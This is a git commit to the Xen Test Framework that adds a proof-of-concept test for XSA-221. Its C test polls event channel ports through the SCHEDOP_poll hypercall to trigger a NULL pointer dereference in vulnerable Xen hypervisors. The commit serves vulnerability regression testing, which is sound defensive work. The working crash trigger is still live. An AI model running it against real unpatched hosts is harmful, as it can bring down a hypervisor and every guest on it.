From: Andrew Cooper Date: Tue, 30 May 2017 14:46:50 +0000 (+0100) Subject: XSA-221 PoC X-Git-Url: http://xenbits.xensource.com/gitweb?a=commitdiff_plain;h=1f8291174e0d5b0f6c9ecb2a588d2ba261c96a58;p=people%2Fandrewcoop%2Fxen-test-framework.git XSA-221 PoC Signed-off-by: Andrew Cooper --- diff --git a/docs/all-tests.dox b/docs/all-tests.dox index 674a528..7a2da3d 100644 --- a/docs/all-tests.dox +++ b/docs/all-tests.dox @@ -92,6 +92,8 @@ guest breakout. @subpage test-xsa-213 - multicall: deal with early exit conditions. +@subpage test-xsa-221 - NULL pointer deref in event channel poll. + @section index-utility Utilities diff --git a/include/xen/sched.h b/include/xen/sched.h index 0f13469..401181b 100644 --- a/include/xen/sched.h +++ b/include/xen/sched.h @@ -5,13 +5,22 @@ #ifndef XEN_PUBLIC_SCHED_H #define XEN_PUBLIC_SCHED_H +#include "event_channel.h" + #define SCHEDOP_yield 0 #define SCHEDOP_shutdown 2 +#define SCHEDOP_poll 3 #ifndef __ASSEMBLY__ struct sched_shutdown { unsigned int reason; /* SHUTDOWN_* */ }; + +struct sched_poll { + evtchn_port_t *ports; + unsigned int nr_ports; + uint64_t timeout; +}; #endif #define SHUTDOWN_poweroff 0 /* Domain exited normally. Clean up and kill. */ diff --git a/tests/xsa-221/Makefile b/tests/xsa-221/Makefile new file mode 100644 index 0000000..1f7c649 --- /dev/null +++ b/tests/xsa-221/Makefile @@ -0,0 +1,9 @@ +include $(ROOT)/build/common.mk + +NAME := xsa-221 +CATEGORY := xsa +TEST-ENVS := pv64 hvm64 + +obj-perenv += main.o + +include $(ROOT)/build/gen.mk diff --git a/tests/xsa-221/main.c b/tests/xsa-221/main.c new file mode 100644 index 0000000..824030b --- /dev/null +++ b/tests/xsa-221/main.c @@ -0,0 +1,71 @@ +/** + * @file tests/xsa-221/main.c + * @ref test-xsa-221 + * + * @page test-xsa-221 XSA-221 + * + * Advisory: [XSA-221](http://xenbits.xen.org/xsa/advisory-221.html) + * + * The upstream change [fbbd5009e6](http://xenbits.xen.org/gitweb/ + * ?p=xen.git;a=commitdiff;h=fbbd5009e6ed1201731b1727762070c1a988e67d) + * neglected to check that ports were suitably initialised before + * dereferencing their structure. + * + * Attempt to poll each event channel port (with a 1ns timeout). If Xen is + * vulnerable, it should hit a NULL pointer (which for PV guests, will either + * take a SMAP fault or hit the XTF unmapped page at NULL). + * + * If Xen is fixed, it will survive until the end of the loop. + * + * @see tests/xsa-221/main.c + */ +#include + +const char test_title[] = "XSA-221 PoC"; + +void test_main(void) +{ + evtchn_port_t port; + struct sched_poll poll = { + .ports = &port, + .nr_ports = 1, + .timeout = 1, + }; + + for ( port = 32; port <= 4096; ++port ) + { + int rc = hypercall_sched_op(SCHEDOP_poll, &poll); + + switch ( rc ) + { + case 0: + continue; + + case -EINVAL: + /* Upper ABI limit of 2l evtchn. */ + if ( port == 4096 ) + break; + + /* Fallthrough. */ + default: + return xtf_error("Error: Unexpected " + "SCHEDOP_poll(port %u) return: %d\n", port, rc); + } + } + + /* + * If Xen is still alive at this point, it hasn't fallen over a NULL + * bucket pointer, which probably means that XSA-221 is fixed. + */ + xtf_success("Success: Probably not vulnerable to XSA-221\n"); +} + +/* + * Local variables: + * mode: C + * c-file-style: "BSD" + * c-basic-offset: 4 + * tab-width: 4 + * indent-tabs-mode: nil + * End: + */